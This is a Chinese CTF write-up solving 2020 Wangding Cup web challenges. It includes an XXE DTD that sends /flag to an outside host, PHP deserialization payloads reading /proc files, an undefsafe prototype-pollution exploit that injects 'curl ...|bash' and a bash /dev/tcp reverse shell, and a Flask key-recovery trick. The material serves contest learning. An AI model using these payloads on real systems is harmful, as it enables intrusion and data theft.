本次网鼎杯一共分为青龙白虎朱雀玄武四组,首先将前两组还能复现的web题目更新一下
青龙组
javafile
考点其实挺不错的,进入题目后直接给了一个上传链接
随便上传一个文件看一下,直接跳转到了下载地址
burp抓个包看一下
存在DownloadServlet接口,会对我们传输的文件名进行下载操作,尝试是否存在任意文件下载
成功读取web.xml页面的内容,根据xml页面上获取到的路由一个一个进行下载,因为java封装的class类存储在classes文件夹下,所以我们构造下载路径
../../../classes/cn/abc/servlet/xxx.class
对下载到的class文件使用工具jd-jui进行反编译,进行代码审计
首先可以看到代码中把flag关键词给黑名单了,我们是无法直接通过任意文件下载漏洞获取到flag
在uploadServlet.class中发现可疑代码
根据关键词搜索,我们可以发现,此处可能存在xxe漏洞,相关链接
https://www.jianshu.com/p/73cd11d83c30
按照思路,我们需要在服务器上构造恶意代码,然后在上传的excel的文件中插入访问我们服务器的恶意代码,同时在靶机对服务器进行访问时候,携带上根目录中flag的内容,我们即可在访问日志中获取到flag的内容了
具体流程,首先在服务器构造如下代码,因为buu的靶机无法访问外网,我们再开一个内网的平台
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>">
%all;
修改将excel文件以压缩包的形式打开,修改其中的[Content_Types].xml为:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data SYSTEM "http://ip/1.dtd">
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
其中第二行就是我们插入的恶意代码
在服务器端放入我们的1.dtd文件,后上传excel-为前缀的excal文件,监听端口
即可获取到flag
AreUSerialz
代码审计题目,直接给了我们源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看一下代码,存在flag.php,存在file_get_contents()函数,应该是想让我们去读flag.php,看一下可控的点,GET传入变量str,题目对传输的变量进行反序列化操作,所以我们要构造序列化后的值传入,分析完思路,具体分析一下代码
首先看一下传入的参数要求
再进行反序列化操作之前,需要对传输的字符串逐个检验,传输的字符串ascii码要大于21小于125
其次分析一下如何构造读取文件,这里要引入一个知识点,因为类型是protected,我们构造的语句序列化后存在%00,%00经过url解码后为0,这样就触发了waf,这里有两种绕过思路
1.直接修改类型为public,因为在php7.x系统以后,序列化就不会判断属性类型了,所以这里可以无视类型,直接绕过了waf检测
2.可以使用十六进制00和S进行waf绕过
之后就是构造payload读取flag.php了,这里还有一个知识点,因为我们需要构造绝对路劲进行读取,所以需要知道网站根目录的位置,由于不是正常的/var/www/html目录,我们需要读取配置文件获取题目中的网站根目录,这里需要读取
/proc/self/cmdline
proc下面存储着正在运行的进程中的一些信息,这里简单的放几个能用到的文件
cmdline 程序运行的绝对路径
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
做题目的话这几个应该是运用的比较多的,我们读取一下 /proc/self/cmdline 来获取apache文件的默认配置路径
构造一下代码,这里使用绕过waf的方法是直接修改变量类型为public
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/convert.base64-encode/resource=/proc/self/cmdline";
public $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}
}
$pd=new FileHandler();
$pdd=serialize($pd);
echo $pdd;
获取到payload
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/proc/self/cmdline";s:7:"content";N;}
解码得到apache的配置文件:/web/config/httpd.conf
再次读取一下配置文件,获取网站根目录的位置
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/web/config/httpd.conf";s:7:"content";N;}
网站根目录为:/web/html/,我们可以构造读取/web/html/flag.php文件,即可获取到flag
由于buu和题目环境不同,我们可以直接通过下面的payload获取到flag
O:11:"FileHandler":3:%7Bs:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;%7D
notes
nodeJS的CVE,题目直接给了附件,服务器端的源码
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
让我们审计代码了,node接触的不多,根据做过的题目的经验一般都是考察依赖库漏洞的比较多,赛后看群里师傅说,node题目一般库名+vulhub就能搜索到相关的文章,这个题目也是同样套路,考察的是undefsafe原型污染漏洞
搜索发现,当版本小于版本<2.0.3存在原型链污染漏洞,相关的漏洞文章:
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
首先审计一下代码,很容易发现可疑点
在/status路由下,找到了调用命令执行的点,不过发现能够执行的命令是比较固定的,要想执行我们自己的命令就要从原型链污染上入手,首先可以看到,题目是遍历执行commands字典内的命令,我们需要将自己想要执行的命令加到commands字典里面,找一下其他存在字典的位置
在这里存在this.note_list字典变量,我们可以使用这里去污染commands字典,从而使题目在遍历命令的时候执行我们构造的命令,下一步寻找我们能够控制的变量,用以写入命令,在/edit_note路由处,找到可以控制的变量
看一下执行流程在传入变量后
undefsafe操作this.note_list
我们可以通过构造变量,增加一个键值对,使得题目在遍历时将我们传输的数据作为系统命令执行,达到构造shell等目的
author:commands
例如构造访问页面的命令:
在/status路由下POST传输
id=__proto__&author=curl ip&raw=1
后台拼接的语句:
undefsafe(this.note_list, '__proto__.author', 'curl ip');
这样就可以达到原型污染,从而使题目在遍历时同时执行我们传入的命令了
解题payload:
首先在我们的服务器上构造shell.txt,并且监听端口
bash -i >& /dev/tcp/xxx.xx.xxx.xx/6767 0>&1
在/edit_note路由上POST传输下列数据,之后访问/status路由触发
id=__proto__&author=curl http:/xxx.xx.xxx.xx/shell.txt|bash&raw=1
即可在vps上收到flag
trace
没有现成的复现环境,是一个盲注题目,等有平台上题目了,就补上wp
白虎组
白虎组一共有三道WEB题目,目前存在在线环境的就只有一道题目了
picdown
这里用的复现环境是CTFhub和buu
访问题目..直接给了一个输入框
是一个图片下载器,输入一个地址发现成功下载下来文件,测试一下是否存在任意文件下载,抓个包
我们尝试读取一下题目本地的文件看看,读取一下进程中的配置文件目录
读取一下文件
读取一下app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
源码中给我们提供了一个路由/no_one_know_the_manager,我们在获取到key之后,可以执行shell命令,key存在于/tmp/secret.txt,但被文件被删除掉了,但我们可以从进程文件中获取到key的内容
/proc/self/fd/3
访问路由,构造获取shell
flag在root文件夹下
2020上海市网络安全大赛-初赛writeup – w4nder says:
[…] 文件没有close,所以该文件仍然存在于linux进程中 http://www.pdsdt.lovepdsdt.com/index.php/2020/05/17/249/ […]